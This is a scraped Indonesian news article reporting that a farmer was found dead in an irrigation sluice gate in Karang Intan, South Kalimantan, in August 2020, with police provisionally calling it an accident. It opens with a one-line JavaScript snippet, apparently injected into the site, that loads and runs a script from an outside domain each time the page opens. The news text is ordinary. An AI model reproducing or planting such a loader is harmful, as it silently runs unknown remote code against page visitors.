(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kabupaten Banjar

Pria Tewas Menyangkut di Pintu Air, Pertama Kali Ditemukan Penjaga Kolam

KANALKALIMANTAN.COM, MARTAPURA – Penemuan mayat laki-laki tanpa baju hanya kenakan celana pendek warna merah mengapung di saluran irigasi Riam Kanan, Karang Intan, Senin (24/8/2020) pukul 03.00 Wita, pertama kali ditemukan seorang penjaga kolam ikan.

Tak jauh dari lokasi penemuan mayat tersebut juga didapati sebuah sepeda motor jenis matik. Mayat laki-laki yang belakangan diketahui adalah Nasrullah (46) itu, ditemukan oleh Kartijo, penjaga kolam ikan. Kartijo curiga karena melihat air kolam ikannya surut, penjaga kolam ikan itu pun mencoba mencek penyebabnya di saluran air, eh ternyata ada mayat menyangkut di pintu air.

Mayat laki-laki tersebut menutupi setengah dari pintu air sekunder saluran irigasi Riam Kanan, Desa Karang Intan RT 003, Kecamatan Karang Intan, Kabupaten Banjar.

Nasrullah dikenal sebagai seorang petani, warga jalan Sultan Sulaiman, RT 001/RW 001, Desa Karang Intan, Kecamatan Karang Intan, Kabupaten Banjar.

Mayat laki-laki tanpa baju hanya kenakan celana pendek warna merah mengapung di saluran irigasi Riam Kanan, Karang Intan, Senin (24/8/2020) pukul 03.00 Wita. foto: EBR

Kapolsek Karang Intan Iptu Imam Sayuti melalui Kanit Reskrim Polsek Karang Intan Aipda Yohanes Suparjo kepada Kanalkalimantan.com mengatakan, keterangan saksi Kartijo seorang penjaga kolam ikan melihat air di kolamnya surut, kemudian Kartijo mengecek di saluran air sekunder pintu air.

“Saat membuka pintu air itu, saksi melihat ada mayat yang tersangkut di pintu air sekunder tersebut,” ungkap Aipda Yohanes Suparjo.

Masih dari keterangan saksi kepada Aipda Yohanes, penjaga kolam itu langsung menghubungi pihak Polsek Karang Intan dan warga sekitar. Tidak selang lama personel Polsek Karang Intan tiba di TKP dan selanjutnya mengamankan TKP dan menghubungi EBR (Emergency Banjar Response) untuk evakuasi mayat. Setelah Tim EBR datang, jenazah dievakuasi dan dibawa ke RSUD Ratu Zalecha Martapura guna dilakukan visum.

Polsek Karang Intan juga menemukan sebuah sepeda motor yang diduga milik korban, tidak jauh dari ditemukannya mayat, sekitar 200 meter arah ke hulu irigasi. Polisi mendapati sepeda motor diduga milik korban terparkir di sebelah rumah warga, sebuah Yamaha Mio J warna biru putih dengan nopol DA 6729 OS.

“Dugaan sementara jenazah itu sedang pencari ikan dengan menggunakan alat tradisional sundak. Untuk sementara murni kecelakaan, tapi masih kami lakukan penyelidikan lebih lanjut,” kata Aipda Yohanes. (kanalkalimantan.com/wahyu)

Reporter : wahyu
Editor : bie